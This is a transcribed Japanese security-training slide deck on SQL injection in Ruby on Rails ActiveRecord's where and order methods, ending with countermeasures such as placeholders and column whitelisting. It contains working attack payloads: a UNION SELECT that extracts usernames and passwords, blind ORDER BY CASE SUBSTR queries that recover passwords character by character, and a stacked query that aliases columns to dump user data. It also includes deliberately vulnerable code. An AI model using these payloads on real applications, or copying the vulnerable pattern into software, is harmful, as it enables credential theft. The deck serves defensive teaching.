2.2K Views
June 11, 14
スライド概要
Rails SQL Injection Examplesの紹介 2014年6月11日 徳丸 浩
Rails SQL Injection Examplesとは Copyright © 2010-2014 HASH Consulting Corp. 2
Rails SQL Injection Examplesとは Ruby on Railsの ActiveRecordのメソッド やオプションの指定方法 の誤りによるSQLインジェ クションのサンプル集 http://rails-sqli.org/ より引用 3
Example1:whereメソッド http://rails-sqli.org/ より引用 4
whereメソッドの用途と注意点 • SQLのWHERE句を「生で」指定できる • 文字列連結でWHERE句を組み立てると、普通 にSQLインジェクション脆弱となる • 正しくはプレイスホルダを使う(後述) • 前述の例は認証回避の例だが…飽きたw Copyright © 2010-2014 HASH Consulting Corp. 5
脆弱性のあるアプリケーション
山田 祥寛 (著)
Ruby on Rails 4 アプリケーションプログラミング
技術評論社 (2014/4/11)
に脆弱性を加えましたw
※元本に脆弱性があるわけではありません
@books = Book.where(
"publish = '#{params[:publish]}' AND price >= #{params[:price]}")
Copyright © 2010-2014 HASH Consulting Corp.
6
UNION SELECTにより個人情報を窃取 priceに以下を入れる 1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at,updated_at FROM users -- SELECT “books”.* FROM “books” WHERE (publish =’’ AND price >= 1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at, updated_at FROM users --) Copyright © 2010-2014 HASH Consulting Corp. 7
対策 プレースホルダ Ruby on Rails 4 アプリケーションプログラミング、山田 祥寛より引用 8
Example2: orderメソッド http://rails-sqli.org/ より引用 9
ORDER BY (CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END) ASC って? • ORDER BY の後には式が書ける • 以下のSQL文は算数と国語の点数の合計でソートす る – SELECT * FROM 成績 ORDER BY (算数+国語) • 以下の式は、password列の一文字目が s なら 0 そうでなければ 1 を返す – CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 ELSE 1 END • よって、このORDER BYは、「パスワードの一文字目 が s」の利用者を先頭に集めるソート…だが、しかし Copyright © 2010-2014 HASH Consulting Corp. 10
どういうページを想定しているのか? こういうページですか? わかりません (>_<) これでは、 元々が個人情 報漏えいだw Copyright © 2010-2014 HASH Consulting Corp. 11
とは言え、やってみた
http://ror4:3000/users?order=(C
ASE+SUBSTR(passwd,1,1)+WH
EN+'a'+THEN+0+else+1+END)
パスワードの一文字目が「a」のも
のを先頭に持ってきたが、何件該
当するかが分からない。0件の可
能性もある
# SELECT "users".* FROM "users" ORDER BY (CASE SUBSTR(passwd,
1, 1) WHEN 'a' THEN 0 else 1 END) asc;
id | userid
| passwd |
tel
|
mail
----+-----------+--------+--------------+--------------------1 | tanaka
| abcd
| 03-1234-5678 | [email protected]
2 | yamada
| aaaa
| 06-2345-6789 | [email protected]
3 | ockeghem | dcba
| 045-678-9012 | [email protected]
4 | takahashi | cdcd
| 099-123-4567 | [email protected]
パスワードの一文字目が「a」は、実際には2件該当している
Copyright © 2010-2014 HASH Consulting Corp.
12
課題は二つ • 個人情報の一覧ページがあり、ソート順を指定で きるという想定が現実的でない • 特定のソート条件は指定できるが、該当件数が わからない Copyright © 2010-2014 HASH Consulting Corp. 13
改良1: 別の一覧と個人情報をマップする Copyright © 2010-2014 HASH Consulting Corp. 14
書籍の一覧と個人情報をマップする # SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by passwd; id | title | userid | passwd ----+------------------------------------+-----------+------2 | JavaScriptライブラリ実践活用 | yamada | aaaa 1 | AndroidエンジニアのためのモダンJava | tanaka | abcd 4 | 書き込み式SQLのドリル | takahashi | cdcd 3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba Copyright © 2010-2014 HASH Consulting Corp. 15
ORDER BYの副問い合わせ # SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case when userid='ockeghem' then 0 else 1 end from users where books.id=users.id); ORDER BY の副問い合わせ (select case when userid='ockeghem' then 0 -- userid='ockeghem' を先頭に else 1 -- その他は後ろに end from users where books.id=users.id) Copyright © 2010-2014 HASH Consulting Corp. 16
userid=ockeghemと対応する行を見つける 先頭行がuserid=ockeghemに対応 # SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case when userid='ockeghem' then 0 else 1 end from users where books.id=users.id); id | title | userid | passwd ----+------------------------------------+-----------+-------3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba 1 | AndroidエンジニアのためのモダンJava | tanaka | abcd 2 | JavaScriptライブラリ実践活用 | yamada | aaaa 4 | 書き込み式SQLのドリル | takahashi | cdcd Copyright © 2010-2014 HASH Consulting Corp. 17
改良2: セパレータとなる行を挟む Copyright © 2010-2014 HASH Consulting Corp. 18
ORDER BYの副問い合わせ =# SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case userid when 'tanaka' then 0 when 'ockeghem' then 1 else 2 end from users where books.id=users.id); ORDER BY の副問い合わせ (select case userid when 'tanaka' then 0 -- 'tanaka' を先頭に when 'ockeghem' then 1 -- 'ockeghem' はセパレータ else 2 -- その他は後ろに end from users where books.id=users.id) ※セパレータがないと、'tanaka'が存在しない場合を区別できない Copyright © 2010-2014 HASH Consulting Corp. 19
userid=tanakaと対応する行を見つける userid=ockeghemをセパレータに wasbook=# SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case userid when 'tanaka' then 0 when 'ockeghem' then 1 else 2 end from users where books.id=users.id); id | title | userid | passwd ----+------------------------------------+-----------+-------1 | AndroidエンジニアのためのモダンJava | tanaka | abcd 3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba 2 | JavaScriptライブラリ実践活用 | yamada | aaaa 4 | 書き込み式SQLのドリル | takahashi | cdcd Copyright © 2010-2014 HASH Consulting Corp. 20
デモを見やすくするために書籍タイトルにユーザ名を併記 辞書攻撃で発 見したユーザ ※デモを見やすくするための表示であり、「改ざん」をするという想定ではありません Copyright © 2010-2014 HASH Consulting Corp. 21
パスワードに対する辞書攻撃(1) tanakaのパスワードがabcdと判明 userid=ockeghemをセパレータに SELECT "books".* FROM "books" ORDER BY (select case when userid='ockeghem' then 1 when passwd='abcd' then 0 else 2 end from users where books.id=users.id) asc select case when userid='ockeghem' then 1 -- セパレータ when passwd='abcd' then 0 -- passwd='abcd' を先頭に else 2 end from users where books.id=users.id Copyright © 2010-2014 HASH Consulting Corp. 22
パスワードに対する辞書攻撃(2) passwd=bcda は存在しないことが判明 userid=ockeghemをセパレータに SELECT "books".* FROM "books" ORDER BY (select case when userid='ockeghem' then 1 when passwd='bcda' then 0 else 2 end from users where books.id=users.id) asc select case when userid='ockeghem' then 1 -- セパレータ when passwd='bcda' then 0 -- passwd='bcda' を先頭に else 2 end from users where books.id=users.id Copyright © 2010-2014 HASH Consulting Corp. 23
一文字ずつ試行するブラインドSQL インジェクション Copyright © 2010-2014 HASH Consulting Corp. 24
パスワードの1文字目が a の利用者を探す tanakaとyamadaのパスワード 1文字目がaと判明 userid=ockeghemをセパレータに select id, title from books order by (select case when userid='ockeghem' then 1 when SUBSTR(passwd,1,1)='a' then 0 else 2 end from users where books.id=users.id) asc select case when userid='ockeghem' then 1 -- セパレータ when SUBSTR(passwd,1,1)='a' then 0 –- 1文字目が a を先頭に else 2 end from users where books.id=users.id Copyright © 2010-2014 HASH Consulting Corp. 25
1回の試行で1種類の文字チェック しかできないのは不効率だが… Copyright © 2010-2014 HASH Consulting Corp. 26
セパレータを増やせば、一度に多く の文字をチェック可能 Copyright © 2010-2014 HASH Consulting Corp. 27
aaaa, bbbb, cccc, ddddの4ユーザを登録 (select case userid when 'aaaa' then 0 when 'bbbb' then 1 when 'cccc' then 2 when 'dddd' then 3 else 4 end from users where books.id=users.id) Copyright © 2010-2014 HASH Consulting Corp. 28
パスワードの一文字目をまとめてクエリ (SELECT CASE WHEN userid='aaaa' THEN 1 WHEN userid='bbbb' THEN 3 WHEN userid='cccc' THEN 5 WHEN userid='dddd' THEN 7 WHEN SUBSTR(passwd,1,1)='a' THEN 0 WHEN SUBSTR(passwd,1,1)='b' THEN 2 WHEN SUBSTR(passwd,1,1)='c' THEN 4 WHEN SUBSTR(passwd,1,1)='d' THEN 6 ELSE 99 END FROM users WHERE books.id=users.id) ※ 簡単化のためパスワードは a~d 4文字で構成とする Copyright © 2010-2014 HASH Consulting Corp. 29
パスワードの1文字目を探索 tanakaとyamadaのパスワード 1文字目がaと判明 takahashiのパスワード1文字目がcと判明 ockeghemのパスワード1文字目がdと判明 tanaka a*** yamada a*** takahashi c*** ockeghem d*** Copyright © 2010-2014 HASH Consulting Corp. 30
パスワードの2文字目を探索 yamadaのパスワード2文字目がaと判明 tanakaのパスワード2文字目がbと判明 ockeghemのパスワード2文字目がcと判明 takahashiのパスワード2文字目がdと判明 tanaka ab** yamada aa** takahashi cd** ockeghem dc** Copyright © 2010-2014 HASH Consulting Corp. 31
パスワードの3文字目を探索 yamadaのパスワード3文字目がaと判明 ockeghemのパスワード3文字目がbと判明 tanakaとtakahashiのパスワード 3文字目がcと判明 tanaka abc* yamada aaa* takahashi cdc* ockeghem dcb* Copyright © 2010-2014 HASH Consulting Corp. 32
パスワードの4文字目を探索 ockeghemとyamadaのパスワ ード1文字目がaと判明 tamalaとtakahashiのパスワー ド4文字目が d と判明 tanaka abcd yamada aaaa takahashi cdcd ockeghem dcba Copyright © 2010-2014 HASH Consulting Corp. 33
もっと簡単な方法はないのか? Copyright © 2010-2014 HASH Consulting Corp. 34
UNION(not ONION) は? Copyright © 2010-2014 HASH Consulting Corp. 35
ORDER BYの後にUNIONは使えない PG::SyntaxError: ERROR: "UNION"またはその近辺で構文エラー LINE 1: SELECT "books".* FROM "books" ORDER BY title UNION SELECT ... ^ : SELECT "books".* FROM "books" ORDER BY title UNION SELECT * FROM users -- asc Copyright © 2010-2014 HASH Consulting Corp. 36
PostgreSQLの場合、複文は使え ないか? Copyright © 2010-2014 HASH Consulting Corp. 37
やはりエラーになる missing attribute: isbn SELECT "books".* FROM "books" ORDER BY title;SELECT * FROM users -- asc Copyright © 2010-2014 HASH Consulting Corp. 38
しかし、missing attribute: isbn なら、別名として与えてやれば… Copyright © 2010-2014 HASH Consulting Corp. 39
ユーザー情報の窃取に成功 SELECT "books".* FROM "books" ORDER BY title;SELECT id,userid AS isbn,passwd AS title,1 AS price,mail AS publish,null AS published,false AS cd FROM users-- asc Copyright © 2010-2014 HASH Consulting Corp. 40
対策 Copyright © 2010-2014 HASH Consulting Corp. 42
表名、列名によるSQLインジェクションの対策 • 以下のいずれか、あるいは複数を実施 • 列名をクォート&エスケープする • 列名が許可されたものかどうかを検査する – いわゆるホワイトリスト検査 • 列を数字で指定して、内部で列名に変換する Copyright © 2010-2014 HASH Consulting Corp. 43
列名をシンボルに変換すると、クォート&エスケープされるが def index p = params[:order].to_sym @books = p ? Book.order(p) : Book.all end SELECT "books".* FROM "books" ORDER BY "books"."title""a" ASC Copyright © 2010-2014 HASH Consulting Corp. 44
ユーザ入力を無条件にシンボルに変換するのはまずい • シンボルはGCで回収されない • 外部から任意のシンボルを作れる場合、非常に多数のシンボルを作ら れるとメモリを過度に消費してしまう • 類似の例にCVE-2014-0082がある • 列名のホワイトリスト検査と併用ならば可(シンボル数が抑制される) http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-001439.html より引用 Copyright © 2010-2014 HASH Consulting Corp. 45
まとめ • Ruby on RailsのActiveRecordの使い方に起因するSQLイン ジェクションを紹介 • ActiveRecordのメソッドには、与えられた文字列が「そのま ま」SQL文に展開されるものがある • 値パラメータについてはプレースホルダを活用 • 表名、列名、キーワードについては以下のいずれかを行う – 表名、列名、キーワードのホワイトリスト検査 – 外部では番号で指定して、内部で表名、列名、キーワード等に変換 する • SQL識別子のクォート&エスケープをさせる目的で、Rubyの 識別子を積極的に活用することの是非については有識者の ご意見をお伺いしたいです Copyright © 2010-2014 HASH Consulting Corp. 46